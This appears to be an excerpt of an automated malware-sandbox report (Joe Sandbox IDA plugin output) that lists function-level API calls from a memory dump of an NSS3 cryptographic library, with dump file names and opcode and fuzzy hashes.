PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F72

Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED8F
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64ED9E
Part of subcall function 6C64ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C64EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FCC
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FF4
free.MOZGLUE(?,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6EAADB,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E6036

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction ID: 85b8e10f4464134d8304c148a1eeaba928fd1525a6f75363e819190abc4766dd
Opcode Fuzzy Hash: 8b6ddf51654b6fcd89aceaec230d11715ddfb6fb7b2ead6a7c83e2a8ecc468d9
Instruction Fuzzy Hash: 8E214DF1605B04ABEB10DFB5D808BD7B7E8AB45709F104829E46A87640EB36E018CB95

Function 6C653C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C6C460B,?,?), ref: 6C653CA9
EnterCriticalSection.KERNEL32(?), ref: 6C653CB9
PL_HashTableLookup.NSS3(?), ref: 6C653CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C653CD6
PR_Unlock.NSS3 ref: 6C653CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C653CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C653D03
PR_Unlock.NSS3 ref: 6C653D15

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction ID: 40711929105b53e86b35d31f1af212b21117df19df79e3feea97f50c1144fa1b
Opcode Fuzzy Hash: 5874ddfac48d1ff5d4ed32b419dd8fac6cda90ce9471892bdd86b74b58a39d1d
Instruction Fuzzy Hash: 2A112976E01505B7DB012A24EC458EA7AB9EB0365CB644230ED1883711FB22DD6887ED

Function 6C659C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6711C0: PR_NewLock.NSS3 ref: 6C671216

free.MOZGLUE(?), ref: 6C659E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C659E4E
TlsGetValue.KERNEL32 ref: 6C659EA2

Part of subcall function 6C669500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C669546

EnterCriticalSection.KERNEL32(?), ref: 6C659EB6
PR_Unlock.NSS3 ref: 6C659ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C659F18

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction ID: bf6fb96ee20f04ec27decf56e545c5e7866ffa2f4629c2568f9682be72745609
Opcode Fuzzy Hash: f841b5232693abdeb704e6aef74167c4fcc339216670cb212d2d97bef4e8296e
Instruction Fuzzy Hash: 2881D6B1A00601ABEB109F35DC40AAB77A5FF4534CF644529EC4987F41FB31E926C7AA

Function 6C66DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32 ref: 6C66DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C66DD0E
PK11_IsFriendly.NSS3(?), ref: 6C66DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C66DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66DEA6
PR_Unlock.NSS3(?), ref: 6C66DF08

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction ID: d00dbbd56c412867d588a8067fd6faf6469e31a6d258b9f87141ad6a6c9d8780
Opcode Fuzzy Hash: e0c3c732dfdc5830ee9126956f7c12eb570eacb3ce067154c2a4ac9e71544151
Instruction Fuzzy Hash: 2B91E7B5A001059FDB00CF6AD880BAAB7B1BF45308F254029DC199BF51E731E916CBDB

Function 6C625FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260AB
sqlite3_config.NSS3(00000004,6C774CA4,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C6260EB
sqlite3_config.NSS3(00000012,6C774CC4,?,?,6C70BB62,00000004,6C774CA4,?,?,00000000,?,?,6C5E31DB), ref: 6C626122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C626095
%s at line %d of [%.10s], xrefs: 6C6260A4
misuse, xrefs: 6C62609F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction ID: 5360ceb3e9d9a8386c35ad17815fb830af36a3fda2fbb310bd86d8b28e21728c
Opcode Fuzzy Hash: be90d4aa4045ccb1d0bd0780dd6ee616077f806407f93de0189e31b9e6241691
Instruction Fuzzy Hash: 9BB19370E0464ACFDB05CF9DD2909AEB7F0FB1E304B158169D509AB322E730AA94DF95

Function 6C5D4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D51BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6C5D51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D51A5
%s at line %d of [%.10s], xrefs: 6C5D51B4
misuse, xrefs: 6C5D51AF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction ID: af64a388a2ca5f424c4088241856b29a800d45edfbb198c0252b61ad341ef0ba
Opcode Fuzzy Hash: 23aec3158eb36cd71a922ca6464db2d7ac32d2646da115e5aa56edf0d904808a
Instruction Fuzzy Hash: 1C71ADB160430ADBEB00CF59CD80B9A77B9FB48308F4A4524ED199BB81D331F951CBA5

Function 6C6BFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6BFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6BF165,6C78219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6BFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6BF165,?), ref: 6C6C00A6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
